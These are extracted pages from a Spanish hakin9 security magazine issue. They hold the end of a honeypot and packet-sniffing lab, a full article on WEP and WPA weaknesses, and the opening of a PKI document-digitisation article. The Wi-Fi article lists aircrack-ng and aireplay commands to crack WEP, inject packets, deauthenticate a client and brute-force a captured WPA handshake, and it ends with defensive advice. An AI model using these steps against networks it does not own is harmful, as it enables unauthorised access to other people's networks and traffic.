Figura 4. Honeypots ''Trampa<br />

perfecta para detectar a agresores<br />

activadas. Observe la interface:<br />

(Listado 14).Las líneas: (Listado<br />

15). Muestran el inicio de sesión<br />

dado los paquetes Sync, Sync+Ack,<br />

Ack entre el cliente 192.168.100.1 y<br />

el servidor 192.168.100.3. Las líneas:<br />

(Listado 16). Muestran tráfico<br />

de tipo DNS donde se reporta que<br />

el registro inverso no se encuentra<br />

en el dns.<br />

Esto se debe a que el servicio<br />

DNS no esta activado en este servidor<br />

de pruebas.<br />

El resto de líneas muestran el<br />

intercambio de información entre el<br />

servidor y el cliente así como la finalizando<br />

la sesión.<br />

Para los amantes del modo gráfico<br />

(y para casos en que es útil un análisis<br />

más en detalle) el paquete Ethereal<br />

nos será de suma utilidad. Revise el<br />

sitio http://www.ethereal.com/docs/<br />

Vamos a capturar la misma secuencia<br />

de conexión al servidor web<br />

ficticio. Para ello, ejecutaremos Ethereal,<br />

y una vez lo hayamos puesto a<br />

funcionar, ejecutaremos la conexión a<br />

http://192.168.100.3/.<br />

Ejecute el comando en la consola<br />

grafica CTRL-ALT-F7: ethereal &<br />

Para ponerlo a funcionar ir al menú<br />

Capture, Start Capture. Capture datos<br />

por todas las interfaces (any)<br />

Resultado 3.2: Simultáneamente<br />

Inicie un ping a la dirección<br />

192.168.100.2 y la conexión web a la<br />

dirección 192.168.100.3.<br />

Capture la secuencia de tráfico y<br />

analice el establecimiento y la secuencia<br />

de la conexión http, por ejemplo<br />

veamos: (Listado 17)<br />

Análisis del tráfico<br />

Este parrafo de tráfico nos muestra<br />

el ping request y el ping reply entre<br />

el cliente 192.168.100.1 y el servidor<br />

192.168.100.2<br />

Análisis del tráfico<br />

El registro 22:26:49.981941 nos<br />

muestra el cliente192.168.100.1 puerto<br />

32782 enviando un Sync al servidor<br />

192.168.100.3 puerto 80, el sync se<br />

representa por la letra 'S' mayúscula<br />

(Listado 19).<br />

El registro 22:26:49.982318 muestra<br />

los paquetes Sync + Ack enviados<br />

por el servidor 192.168.100.3 puerto<br />

80 hacia el cliente 192.168.100.1 puerto<br />

32782, el synck se representa por la<br />

letra 'S' y el ACK por las letras ack.<br />

Ahora en el registro 22:26:<br />

49.982332 el cliente 192.168.100.1<br />

puerto 32782 envía el paquete ACK<br />

al servidor 192.168.100.3 puerto 80<br />

y con esto se completa la secuencia<br />

de conexión para el servicio web (http)<br />

que presta el servidor al cliente.<br />

El resto del tráfico muestra un ping<br />

entre el cliente y el servidor así como<br />

el envío de la página web desde el<br />

servidor hasta el cliente, además se<br />

ve el fin de la conexión cliente servidor<br />

con la letra 'F'.<br />

En el momento de iniciar la captura,<br />

separe mediante filtrado (opcion<br />

filter dentro del menú capture) ó el<br />

trafico ICMP, guarde el resultado de la<br />

captura HTTP en un archivo y recupérelo<br />

mas tarde para análisis.<br />

Se puede analizar este archivo de<br />

logs de la misma forma que lo haría<br />

con la captura en vivo?<br />

Separe el tráfico ICMP en el archivo<br />

tcpdump.icmp y el trafico http en el<br />

archivo tcpdump.http luego los recupera<br />

por la opción File, Open, Nombre<br />

del archivo.<br />

Y se debe poder analizar de la<br />

misma forma.<br />

Para probarlo tome un registro,<br />

luego la opción TCP y luego Flags,<br />

siempre deberá observar la misma<br />

información.<br />

Que ventajas ve en Ethereal frente<br />

a tcpdump y a la inversa?<br />

En principio debería ver que el<br />

formato en ambos es tcpdump, lo que<br />

permite que ambos comandos vean<br />

52 www.<strong>hakin9</strong>.org/es<br />

la misma información. La mayoría de<br />

personas prefieren el ethereal por<br />

que es gráfico, parece que al cerebro<br />

le gustan las cosas en modo gráfico<br />

pero es posible que el servidor pierda<br />

el modo gráfico con lo que el modo<br />

carácter de tcpdump es una gran<br />

ventaja.<br />

Obviamente, en este caso hemos<br />

simulando toda la maqueta en una<br />

sola maquina, Aun así que opina de la<br />

seguridad en las redes Ethernet compartidas?<br />

Como aumenta la seguridad<br />

en redes conmutadas?<br />

Las redes compartidas tienen un<br />

solo dominio de colisiones y esto hace<br />

que un sniffer pueda ver todo el tráfico<br />

sin excepciones. Las redes compartidas<br />

son vulnerables frente a sniffing<br />

y se debe haber probado en estos<br />

laboratorios.<br />

Los switchs que permiten las<br />

redes conmutadas mejoran la seguridad,<br />

pues cada puerto del switch<br />

puede ser un dominio de colisiones<br />

independiente.<br />

Ahora es importante recordar que<br />

si la tabla o cache ARP dentro del<br />

switch es inundada con Ips de origen<br />

que no existen el switch se vera obligado<br />

a enviar por medio de broadcast<br />

requerimientos a los otros dominios y<br />

al haber broadcast los sniffers podrán<br />

ver la información.<br />

Repercusiones legales<br />

Trampa (Entrapment):<br />

• Es el proceso realizado por los<br />

cuerpos policiales (law enforcement)<br />

de inducir a alguien<br />

a cometer un acto punible con<br />

el objetivo de iniciar la acción<br />

judicial pertinente.<br />

En este caso del honeypot, aunque<br />

es un elemento pasivo creado<br />

por nosotros para ser atacado (sin<br />

que seamos parte de los cuerpos<br />

policiales) si no deseamos perseguir<br />

judicialmente esta intrusión en<br />

el Honepot, no realizamos ninguna<br />

trampa.<br />

El objetivo del Honeypot es<br />

recibir los ataques, no recoger<br />

información para demandar a los<br />

atacantes del Honeypot. l


Vulnerabilidades<br />

de WEP y WPA<br />

José Luís Picazo Martínez<br />

La comodidad que las redes inalámbricas<br />

han aportado a nuestra vida está fuera<br />

de toda duda, su presencia en organismos<br />

públicos, poblaciones de difícil acceso,<br />

grandes eventos, empresas y sobre todo en<br />

el ámbito doméstico ha facilitado el acceso sin<br />

cables a Internet a millones de personas.<br />

En su concepción teórica las Redes Wifi<br />

tratan de ser tan seguras como lo es una red<br />

cableada, en ayuda de esta concepción nacieron<br />

los sistemas de cifrado WEP y posteriormente<br />

WPA.<br />

WEP, un sueño frustrado<br />

Wired Equivalent Protocol (WEP) fue desarrollado<br />

en 1997 con el objetivo de ofrecer<br />

un grado de privacidad equivalente al que<br />

se tiene en una red con cables. El estándar<br />

IEE 802.11 incorporó desde el principio un<br />

campo en la capa MAC para indicar si se<br />

utiliza cifrado (WEP) o no (Figura 1). Este<br />

estándar ofrecía los siguientes servicios de<br />

seguridad:<br />

• Autenticación: Por clave compartida o Abierta,<br />

que es el estándar 802.11 consistente en<br />

autenticar todas las peticiones que reciben.<br />

54 www.<strong>hakin9</strong>.org/es<br />

Las redes inalámbricas Wifi, se<br />

han convertido en una necesidad<br />

para los usuarios domésticos.<br />

Su uso masivo ha provocado<br />

que con la misma rapidez con la<br />

que se han intentado proteger,<br />

sus vulnerabilidades hayan<br />

salido a la luz convirtiéndose en<br />

la primera puerta que el hacker<br />

principiante trata de cruzar pero,<br />

¿por qué son tan inseguras?<br />

• Confidencialidad: Mediante la utilización<br />

del algoritmo RC4, WEP se basa en el cifrado<br />

por flujo simétrico de claves. Es decir,<br />

para que el cifrado / descifrado ocurra ambos<br />

extremos deben compartir la clave de<br />

cifrado.<br />

• Integridad: Mediante la inclusión de redundancia<br />

ICV (Integrity Check Value) calculada<br />

con los algoritmos estándar CRC-32 y<br />

cifrada con WEP.<br />

Pues bien, el Listado 1 muestra como romper<br />

este cifrado (Figura 2) en unos pocos pasos.<br />

En este artículo aprenderás<br />

• Los distintos protocolos de cifrado para<br />

redes Wifi.<br />

• Las vulnerabilidades de WEP y WPA.<br />

• Cómo explotar estas vulnerabilidades.<br />

• Cómo dotar a tu red Wifi de Seguridad.<br />

Lo que deberías saber<br />

• Conocimiento básico del protocolo TCP/IP.<br />

• Linux a nivel usuario.


¿Cómo es posible? Si analizamos<br />

el funcionamiento de WEP, este<br />

estándar utiliza el algoritmo RC4,<br />

la operación de cifrado consiste en<br />

la realización del or exclusive de la<br />

corriente de claves con la corriente<br />

de bits. La clave está formada por<br />

la clave simétrica (la misma para<br />

todas las tramas, y la misma usada<br />

en la fase de autenticación) y el<br />

vector de inicialización (variable<br />

para cada trama, pero de 24 bits).<br />

La combinación de clave y vector<br />

(en adelante, IV) logra cifrar cada<br />

trama con una clave distinta a pesar<br />

de emplear una clave simétrica<br />

fija.<br />

IV es transmitido en claro junto<br />

con los datos cifrados para que el<br />

receptor pueda obtener la clave<br />

de cifrado. Si entendemos esto<br />

comenzaremos a ver problemas, si<br />

tengo una parte de la combinación<br />

usada para cifrar en claro y la otra<br />

es fija, es solo cuestión de tiempo<br />

el averiguar la fija.<br />

Además, los IV son de 24<br />

bits, eso nos da como máximo<br />

26.777.216 valores, esto puede<br />

generarse en unas pocas horas<br />

en cualquier red Wifi con un tráfico<br />

moderado y con un buen pack de<br />

herramientas de hacking gíreles<br />

como la suit aircrack-ng o similares<br />

presentes en cualquier distribución<br />

de auditoria.<br />

El Listado 1 muestra todo esto<br />

en 5 sencillos pasos, en 1) y 2) tan<br />

solo escuchamos todo lo que hay<br />

en la red por el interfaz ath0 (podría<br />

ser otro, según nuestro caso),<br />

el 0 indica que recibamos paquetes<br />

de todos los canales (primero hay<br />

que detectar la wifi que nos interesa)<br />

y el 1 que nos quedaremos con<br />

los IV, que al fin y al cabo es lo que<br />

nos interesa, prueba será el archivo<br />

donde todo esto se guarde.<br />

Con estos pasos hemos obtenido<br />

la información de la red<br />

que queremos atacar, apuntamos<br />

el channel y el nombre de la red<br />

(ESSID) y centramos nuestro ataque<br />

en ella comenzando de nuevo<br />

(podemos seguir haciéndolo para<br />

todos los canales y realizar el ataque<br />

sobre prueba, pero si estáis en<br />

Vulnerabilidades de WEP y WPA<br />

una gran ciudad como es mi caso,<br />

no es aconsejable esnifar paquetes<br />

de 15 redes distintas).<br />

En el paso 3) esnifamos paquetes<br />

del canal de la red que nos<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

Figura 1. Formato de trama IEEE 802.11<br />

Listado 1: WEP roto en 5 pasos<br />

1.-airmon.sh start aht0<br />

2.-airodump ath0 prueba 0 1<br />

3.-iwconfig ath0 mode monitor channel 10 essid GigA<br />

4.-airodump ath0 anita 10 1<br />

5.-aircrack anita*.vis<br />

Listado 2: Acelerando la recolección de IV<br />

www.<strong>hakin9</strong>.org/es<br />

<br />

<br />

<br />

<br />

interesa (en nuestro caso el 10)<br />

indicando como identificador de la<br />

red GigA (esto cambia de una red a<br />

otra). Ahora solo tenemos que sentarnos<br />

y esperar como suben los<br />

<br />

<br />

<br />

<br />

<br />

1.- aireplay -3 ath0 -b BSSID -h STATION<br />

2.- aireplay -1 30 ath0 -e GigA -a BSSID -h 00:11:22:33:44:55<br />

Listado 3: WAP tampoco es invulnerable<br />

1.- iwconfig ath0 mode monitor channel 11<br />

2.- airodump ath0 anitaWPA 11 0<br />

3.- aireplay -0 5 ath0 –a MAC_PA –c MAC_CLIENTE<br />

4.- aircrack –a 2 –w DiccFileName FileName.cap<br />

Figura 2. El ircrack comienza su trabajo<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

55


kit<br />

IV. Normalmente son necesarios<br />

250.000 para llegar al paso 5 y obtener<br />

nuestra preciada contraseña,<br />

aunque con suerte no habrá que<br />

esperar tanto (Figura 2). Las redes<br />

más duras de romper nos harán llegar<br />

a los 500.000, pero sigue siendo<br />

cuestión de tiempo.<br />

Acelerando el proceso<br />

¿Cansado de esperar? Bueno incluso<br />

en esto WEP es vulnerable,<br />

es posible acelerar el proceso, el<br />

Listado 2 muestra como hacerlo.<br />

¿Por qué? WEP es vulnerable también<br />

a los ataques de repetición.<br />

Aunque la cabecera de la trama<br />

MAC contiene un campo de nº de<br />

secuencia, no va protegido con la<br />

clave por lo que se puede manipular<br />

fácilmente.<br />

Usando una MAC cualquiera<br />

(como la de 2) y siempre y cuando<br />

el filtrado MAC esté deshabilitado<br />

(sino siempre podremos cambiar<br />

nuestra MAC) podemos inyectar<br />

paquetes a nuestra red, acelerando<br />

el tráfico con, por ejemplo, tramas<br />

antiguas. Si abrimos un nueva consola<br />

en paralelo a la del listado 1,<br />

utilizando 1) inyectaremos paquetes<br />

cuando hay más clientes conectados,<br />

en 2) lo hacemos cuando<br />

estemos nosotros solos, de ahí que<br />

pongamos una MAC aleatoria.<br />

WPA, ¿Solución<br />

o más de lo mismo?<br />

Wifi Protected Area es la evolución<br />

ante la decepción que supuso WEP.<br />

Entre los requisitos que se exigían<br />

al nuevo mecanismo de cifrado<br />

estaba el que el hardware de WEP<br />

fuera válido para WPA. Por lo que<br />

los algoritmos son muy parecidos,<br />

WPA también usa RC4 y vectores<br />

de inicialización, pero con sutiles<br />

diferencias:<br />

• Cifrado: Basado en TKIP (Temporal<br />

Key Integrity Protocol), que<br />

consiste en la generación de una<br />

clave WEP dinámica diferente<br />

por cada trama transmitida por<br />

cada cliente asociado al punto de<br />

acceso (PA).<br />

• Integridad de datos: Se sustituye<br />

el IVC (recordemos Figura 1)<br />

por el Message Integrity Check<br />

(MIC). El MIC está basado en<br />

un algoritmo de Hash unidireccional<br />

que no es susceptible a<br />

ataques Bit-Flipping como si lo<br />

es CRC-32<br />

• Autenticación: Provee el esquema<br />

de autenticación mutua IEEE<br />

802.1x / Extensible Authentication<br />

Protocol (EAP) o clave precompartida<br />

(PSK), más común<br />

en el ámbito doméstico.<br />

En principio parece que hemos solucionado<br />

los problemas de WEP, tenemos<br />

un nuevo método de cálculo<br />

de la secuencia de integridad en la<br />

trama.<br />

Evitamos los ataques de repetición<br />

y añadimos una nueva función<br />

que refresca las claves de cifrado y<br />

Figura 3. Usario íctima de nuestro<br />

ataque 0 Figura 4. Auditor CD de remote-exploit<br />

56 www.<strong>hakin9</strong>.org/es<br />

autenticación para combinar las claves,<br />

cifrando cada trama con claves<br />

diferentes.<br />

Pues bien, el Listado 3 rompe<br />

WAP-PSK en 4 pasos. WPA-PSK<br />

usa una clave de acceso de una<br />

longitud entre 8 y 63 caracteres, que<br />

es la clave compartida. Al igual que<br />

ocurría con WEP, esta clave hay que<br />

introducirla en cada una de las estaciones<br />

y puntos de acceso de la red<br />

inalámbrica. Cualquier estación que<br />

se identifique con esta contraseña,<br />

tiene acceso a la red.<br />

La principal debilidad de WPA-<br />

PSK es la clave compartida entre<br />

estaciones. Cuando un sistema<br />

basa su seguridad en un contraseña<br />

siempre es susceptible de sufrir un<br />

ataque de fuera bruta, es decir ir<br />

comprobando contraseñas, aunque<br />

dada la longitud de la contraseña y si<br />

está bien elegida no debería plantear<br />

mayores problemas.<br />

Pero si nos fijamos bien en el funcionamiento<br />

de WAP, hay un momento<br />

de debilidad cuando la estación<br />

establece el diálogo de autenticación.<br />

Este diálogo va cifrado con las claves<br />

compartidas, y si se entienden entonces<br />

se garantiza el acceso y se inicia<br />

el uso de claves dinámicas.<br />

La debilidad consiste en que<br />

conocemos el contenido del paquete<br />

de autenticación y conocemos su


valor cifrado. Ahora lo que queda es,<br />

mediante un proceso de ataque de<br />

diccionario o de fuerza bruta, intentar<br />

determinar la contraseña.<br />

Las líneas 1-3 del Listado 3 hacen<br />

precisamente eso, aprovechar el momento<br />

de debilidad, nos quedamos<br />

Vulnerabilidades de WEP y WPA<br />

preparados para escuchar todo lo que<br />

pase por nuestra red (1 y 2), en ese<br />

momento realizamos un ataque tipo 0<br />

para desautenticar a uno de sus usuarios,<br />

este se desconecta, se vuelve a<br />

conectar y capturamos el handshake.<br />

Ya tenemos todo lo necesario, con<br />

Sobre el Autor<br />

José Luís Picazo es Ingeniero Técnico en Informática de Sistemas e Ingeniero Informático.<br />

Ya desde la Universidad enfocó su carrera hacia el mundo de la Seguridad y<br />

la Auditoría, realizando para ello el PFC en Test de Intrusión. Actualmente finaliza el<br />

Master en Seguridad de la Información de la Universidad Politécnica de Madrid y el<br />

PFM en Análisis Forense y Peritaje Informático.<br />

Actualmente lleva a cabo su carrera profesional en AXPE Consulting y colabora en<br />

diversos proyectos de Metodología Forense.<br />

Referencias<br />

• Aplicación de apoyo al hacking wíreless<br />

http://www.kismetwireless.net/<br />

• Artículo WEP<br />

http://es.wikipedia.org/wiki/Wired_Equivalent_Privacy<br />

• Artículo WPA<br />

http://es.wikipedia.org/wiki/Wi-Fi_Protected_Access<br />

• AUDITOR CD<br />

http://www.remote-exploit.org/<br />

• Definición del estándar wireless<br />

http://es.wikipedia.org/wiki/IEEE_802.11<br />

• Knoppix Live CD<br />

http://www.knoppix.org/<br />

• Manual hacking wireless<br />

http://www.elhacker.net/manual_hacking_wireless.htm<br />

Figura 5. Aplicación para atacar WPA-PSK<br />

www.<strong>hakin9</strong>.org/es<br />

nuestro handshake en un fichero ya<br />

podemos realizar ataques por fuerza<br />

bruta durante el tiempo que queramos.<br />

Aquí viene el pero, necesitaremos<br />

de un buen diccionario (fichero<br />

de texto plano con palabras) para ello,<br />

sino es posible que estéis durante 36<br />

horas (como yo) atacando sin obtener<br />

resultados. Ahora bien, no todo iba a<br />

ser fácil, existen numerosos diccionarios<br />

disponibles en la red, solo es<br />

necesario bajar uno en nuestro propio<br />

lenguaje que incluso podremos ir ampliando<br />

según recopilemos palabras.<br />

Conclusiones<br />

A día de hoy las redes inalámbricas no<br />

son infalibles, comparadas con las cableadas<br />

son mucho más susceptibles<br />

de ataques de denegación de servicio,<br />

un ataque 0, irradiación de ondas para<br />

limitar o distorsionar la señal es posible<br />

sin muchos conocimientos técnicos.<br />

Por tanto una corporación no<br />

puede depender de estos servicios<br />

por muy bien que quede de cara a<br />

un cliente en la presentación de un<br />

proyecto. Las redes wifi en el ámbito<br />

profesional deben ser un apoyo,<br />

nunca debe existir dependencia sino<br />

veremos como nuestros servicios se<br />

caen una y otra vez.<br />

En el ámbito doméstico, un cifrado<br />

WPA con una buena clave, unido a algunos<br />

de los consejos que los lectores<br />

de <strong>hakin9</strong> pudimos ver en el artículo<br />

de Eduardo Tabacman (nº 30 de la<br />

revista) nos permitirá disfrutar de una<br />

Wifi lo suficientemente segura para<br />

que no nos quiten el sueño (aunque<br />

conviene recordar que la seguridad<br />

100% no existe, toda medida tiene su<br />

contramedida).<br />

En cuanto a las herramientas utilizadas,<br />

estas vienen disponibles en<br />

cualquier distribución LiveCd del mercado,<br />

Troppix, Knoppix o el AUDITOR<br />

CD (Figura 4) que es mi preferido.<br />

Otras herramientas de las que<br />

no he hablado, y que serán un buen<br />

apoyo ante ESSID ocultos, redes de<br />

las que se desconoce su estándar de<br />

cifrado etc. es Kismet, también sencilla<br />

de usar, aunque la mayor parte<br />

de los casos, no nos será necesaria.<br />

Espero que hayan disfrutado de este<br />

artículo, Feliz Conexión. l<br />

57


Digitalización<br />

Roger Carhuatocto<br />

Identificar la importancia de la Criptografía<br />

de Clave Pública en Aplicaciones<br />

de Digitalización de documentos en las<br />

Empresas.<br />

Conocer la regulación Española sobre la<br />

Digitalización de Documentos, los requerimientos<br />

legales y de seguridad que deben<br />

cumplir las Aplicaciones de Digitalización.<br />

Mucha gente se pregunta si hay negocio<br />

alrededor de la PKI, aunque hemos visto<br />

cerrar algunas empresas otras cambiar su<br />

modelo de negocio, en fin, aquí veremos<br />

que hay aplicaciones reales a la PKI y posiblemente<br />

más negocio alrededor de la<br />

PKI. Antes hay que preguntarnos cuál es el<br />

rol que juega la PKI en las aplicaciones de<br />

negocio actualmente?, y la respuesta es que<br />

la PKI es un requisito, es una infraestructura<br />

básica. Igual que para desarrollar en JAVA<br />

antes hay que tener una JVM.<br />

Desde mi punto de vista, PKI se ha convertido<br />

en una comodity y para construir<br />

aplicaciones de negocio seguras las Organizaciones<br />

deben desplegar una PKI, aquí la<br />

PKI es un requisito no el objetivo. Este es el<br />

gran error cometido en los anteriores años y<br />

por ello el cambio de modelo de negocio en<br />

58 www.<strong>hakin9</strong>.org/es<br />

El artículo explica cómo diseñar<br />

y construir una aplicación que<br />

convierta documentos en papel<br />

a formato digital con la garantía<br />

de que los documentos digitales<br />

sean copia fiel a los de papel y<br />

que cumplan los requerimientos<br />

que exige la Regulación sobre<br />

Administración Electrónica. Para<br />

ello usamos aplicaciones Open<br />

Source y Criptografía de Clave<br />

Pública.<br />

algunas Empresas del Sector. El negocio<br />

está en los servicios (gestión, formación,<br />

desarrollo de aplicaciones, etc.) que se<br />

pueden desarrollar alrededor de la PKI, por<br />

ejemplo, el desarrollo e integración de aplicaciones<br />

de negocio con un uso intensivo de<br />

certificados y criptografía. Entonces, explicaremos<br />

cómo construir una aplicación de<br />

negocio (digitalización de documentos certificada)<br />

basada en criptografía, certificados<br />

digitales y componentes Open Source.<br />

En este artículo aprenderás<br />

• Diseñar aplicaciones que usen Certificados<br />

X.509 y Firma Digital.<br />

• Certificación de procesos electrónicos como la<br />

digitalización.<br />

• Cómo garantizar la integridad de documentos<br />

digitalizados.<br />

Lo que deberías saber<br />

• Estándar X.509, XAdES, JAVA, TWAIN, SANE,<br />

etc.


Figura 1. Ciclo de vida de la digitalización de documentos<br />

Digitalización<br />

Certificada<br />

La digitalización es el proceso<br />

por el cual documentos en papel<br />

son convertidos a su equivalente<br />

digital, necesario para continuar<br />

el trámite via las aplicaciones de<br />

negocio. Cuando hablamos de digitalización<br />

certificada nos referimos<br />

que se garantiza la integridad<br />

y la seguridad en general a todo<br />

el proceso de digitalización así<br />

como el objeto digitalizado y su<br />

fiel correspondencia al documento<br />

en papel.<br />

Diseño de una Aplicación de<br />

Digitalización Certificada Como<br />

todas las Aplicaciones de Digitalización,<br />

éstas deben implemetar<br />

funcionalidades para cada etapa<br />

del ciclo de vida de la digitalización<br />

de documentos. Ciclo<br />

de vida de la Digitalización de<br />

documentosSegún AIIM iAIIM<br />

- www.aiim.org.uk Input/Capture:<br />

1 2<br />

Digitalización de Documentos Certificada<br />

etapa inicial por el cual se aquiere<br />

los documentos en papel y los<br />

datos. El documento en papel será<br />

capturado y pasará a ser una imagen,<br />

mientras que información textual<br />

del mismo documento tendrá<br />

que ser tratado de forma diferente<br />

si se desea introducir al sistema.<br />

Existen diferentes métodos de<br />

input/capture, el más usado es el<br />

escaneo de imágenes o simplemente,<br />

importándo las imágenes<br />

desde otro repositorio.<br />

Conversion: después del escaneo<br />

obtendremos un imagen en<br />

un formato determinado, en esta<br />

etapa convertiremos un formato<br />

inicial a otro final. Recordar que es<br />

posible adquirir imágenes de otros<br />

dispositivos como cámaras de fotografía,<br />

fax, etc., en este caso la<br />

conversión de formato es vital.<br />

Recognition: es la etapa por la<br />

cual se identifica y se reconoce<br />

de información sensible y repre-<br />

3 4 5 6<br />

INPUT/CAPTURE CONVERSION RECOGNITION UALITY CONTROL INDEXING OUTPUT<br />

Authenticity, Itnegrity<br />

and non-repuditation<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

Figura 2. Autenticidad, integridad y no repudio en la digitalización de<br />

documentos. Técnicas Criptográficas usadas: Firma digital y validación<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

www.<strong>hakin9</strong>.org/es<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

sentativa como patrones de texto,<br />

patrones de imágenes, dibujos<br />

o marcas, etc. Algunas técnicas<br />

utilizadas son el OCR, ICR, OMR,<br />

Barcode recognition, etc.<br />

Quality control: nos permite<br />

realizar actividades de control sobre<br />

las actividades anteriores, es<br />

decir, si durante el proceso de escaneo<br />

de un documento la imagen<br />

resultante tiene mucha distorción y<br />

no tiene parecido al documento en<br />

papel, entonces es necesario alguna<br />

rectificación manual u pseudo-automática.<br />

Indexing: etapa<br />

donde se utilizará la información<br />

textual reconocida para asociarla<br />

a la imagen digital (representación<br />

del documento en papel) para su<br />

rápida y exacta recuperación del<br />

documento, en su versión digital.<br />

Output: todo documento en<br />

papel o digital necesita un lugar<br />

para almacenamiento, en muchos<br />

casos el lugar depende del formato<br />

de salida del documento. Por<br />

ejemplo, prefiero guardar en mi<br />

repositorio documentos digitales<br />

representados en formato XML,<br />

pero no documentos en formato<br />

PDF. Requisitos de Seguridad:<br />

Autenticidad, integridad y no repudio.<br />

Qué de especial tiene una aplicación<br />

que digitalice documentos,<br />

esto ya lo puede hacer cualquier<br />

59


kit<br />

Digital Signature<br />

Services Platform<br />

•Create Digital Signature<br />

•Validate digital certificate<br />

•Encryption of digital information<br />

scanner o impresora multifuncional.<br />

Sin embargo, estos aparatos<br />

no disponen de funcionalidades<br />

que garanticen la integridad, ni la<br />

autenticidad del objeto escaneado,<br />

ni la seguridad en todo el proceso<br />

Ul Scanning<br />

Component<br />

TWAIN & SANE<br />

Adaptors<br />

Put, Get & Search<br />

e-Doc Adaptor<br />

Cert. Validation<br />

Connector<br />

Figura 3. Propuesta de arquitectura de una Aplicación de Digitalización Certificada<br />

Figura 4. Firma Digital de documentos en OpenOffice<br />

Capture Module<br />

Configuration<br />

ECM Module<br />

Indexing<br />

de digitalización. Imaginemos que<br />

la Cia. ABC desea transformar las<br />

facturas en papel a formato digital<br />

para luego usarlas en sus sistemas<br />

internos de gestión, cumplir<br />

la leyes respecto a la preserva-<br />

60 www.<strong>hakin9</strong>.org/es<br />

E-Doc<br />

Viewer<br />

Digitalization<br />

Policy Manager<br />

Quality Control Module<br />

Audit & Trail<br />

Manager<br />

Crypto Party Module Recognition Module<br />

Encryption<br />

Connector<br />

DigSign. Factory<br />

Connector<br />

OCR<br />

Component<br />

Bar Code<br />

Component<br />

Conversion<br />

Component<br />

DigSign.<br />

Component<br />

ción de las facturas en papel por<br />

un determinado tiempo y evitar<br />

gastos innecesarios de mantenimiento<br />

de las facturas en papel,<br />

gastos como: almacenamiento,<br />

copias en papel, mantenimiento<br />

del papel, etc.<br />

Para que la Cia. ABC pueda<br />

lograr esto es necesario tener una<br />

solución de digitalización de facturas<br />

que garantice:<br />

La autenticidad: que el documento<br />

digitalizado sea copia fiel<br />

del documento en papel y que no<br />

existan dudas de que haya manipulado<br />

nada durante el proceso de<br />

digitalización.<br />

La integridad: que el documento<br />

digital tenga mecanismos para<br />

determinar si este fue modificado<br />

o no. No repudio: que nadie pueda<br />

negar que el documento digital no<br />

representa al documento en papel<br />

y éste pueda ser admitido en los<br />

procesos de negocio.<br />

Entonces, el uso de técnicas<br />

criptográficas y certificado digital<br />

en esta situación concreta es de<br />

vital importancia.<br />

Durante la digitalización, para<br />

garantizar que el documento papel<br />

ha sido escaneado correctamente<br />

sin intervención de elementos distorsionadores<br />

externos y por con-


siguiente se tiene un documento<br />

digital se utiliza la firma digital.<br />

Durante el proceso de creación de<br />

la firma digital se realiza un proceso<br />

de validación contra proveedores<br />

de confianza (Autoridades de<br />

Validación) que nos indica que las<br />

credenciales (certificado digital)<br />

usados durante la firma son completamente<br />

válidas.<br />

Existen diferentes formatos de<br />

firma digital, desde formatos clásicos<br />

como PKCS7 y CMS/CAdES,<br />

hasta formatos más avanzados<br />

como XMLDsig y XAdES. Se recomienda<br />

XAdES como estándar<br />

para requerimientos de seguridad<br />

avanzada como archivado de evidencia<br />

digital, validez de la firma<br />

cuando el certificado digital ha<br />

caducado, etc.<br />

Técnicas de Digitalización<br />

Existen tres técnicas/estándares<br />

para implementar soluciones que interactuen<br />

con dispositivos scanners,<br />

ellos son:<br />

• TWAINiiTWAIN - www.twain.org<br />

• SANE - www.sane-project.org<br />

• WIA - www.microsoft.com<br />

Yo particularmente prefiero SA-<br />

NE ya que permite escarlar la<br />

aplicación fácilmente y añadir<br />

funcionalidades de una manera<br />

modular, además de la abundancia<br />

de aplicaciones maduras Open<br />

Source que siguen estas especificaciones.<br />

Listado 1. Aplicaciones Open Source base<br />

OpenOffice (http://www.openoffice.org)<br />

gscan2PDF (http://gscan2pdf.sourceforge.net)<br />

ImageJ (http://rsb.info.nih.gov/ij)<br />

Jsane-net (http://www.sourceforge.net/projects/jsane-net)<br />

GIMP (http://www.gimp.org)<br />

XSANE an graphical scanning frontend (http://www.xsane.org)<br />

Listado 2. Aplicaciones y APIs no Open Source<br />

para digitalización<br />

Morena (http://www.gnome.sk)<br />

JSANE an Java SANE implementation<br />

(http://www.asprise.com/product/jsane)<br />

Una aplicación de digialización<br />

por lo general será una aplicación<br />

stand-alone y no cliente-servidor.<br />

Esto tiene mucho sentido, una<br />

aplicación de digitalización estará<br />

instalada en una computadora del<br />

operario (digitalizador certificado)<br />

que tenga conectada un dispositivo<br />

scanner, dicho operario tendrá<br />

capacidad de interactuar con los<br />

certificados digitales y clave privada,<br />

y con el respectivo conector<br />

a los servicios de validación de<br />

dichos certificados.<br />

Como el escaner y el certificado<br />

digital están en la misma<br />

computadora que usará el operario,<br />

además dicho operario tendrá<br />

alimentar con documentos en papel<br />

al escaner, por ello, no tendrá<br />

mucho sentido que la aplicación<br />

sea construída siguiendo el patrón<br />

cliente-servidor. Sin embargo, SA-<br />

NE permite construir aplicaciones<br />

que realizan la tarea de digitalización<br />

de forma remota si esto es<br />

necesario.<br />

Arquitectura<br />

propuesta<br />

Está claro que el desarrollo de<br />

la solución está relacionado a la<br />

naturaleza de los requerimientos<br />

y entorno de usuario. Por el<br />

momento será, stand-alone, con<br />

SANE, uso de certificados digitales<br />

en cliente, formato de la firma<br />

XAdES y Open Source (Ver Figura<br />

3). Destacamos la inclusión de<br />

módulos orientados a cada una de<br />

www.<strong>hakin9</strong>.org/es<br />

61


kit<br />

las etapas del ciclo de vida de la<br />

digitalización.<br />

Además, incluímos un módulo<br />

capáz de realizar funcionalidades<br />

para garantizar la autenticidad, integridad<br />

y no repudio del proceso de<br />

digitalización y de los documentos<br />

digitalizados.<br />

Aplicaciones<br />

propuestas<br />

para Digitalización<br />

Certificada<br />

Basándonos en diferentes iniciativas<br />

Open Source relacionadas a la<br />

digitalización de documentos hemos<br />

podido hacer una revisión rápida de<br />

dichas soluciones, en todos los casos<br />

son una revisión bastante escueta y<br />

sólo perseguimos elaborar prototipos.<br />

Esto no quiere decir que ninguna<br />

de estas opciones no sean válidas<br />

para ser usadas en entornos productivos<br />

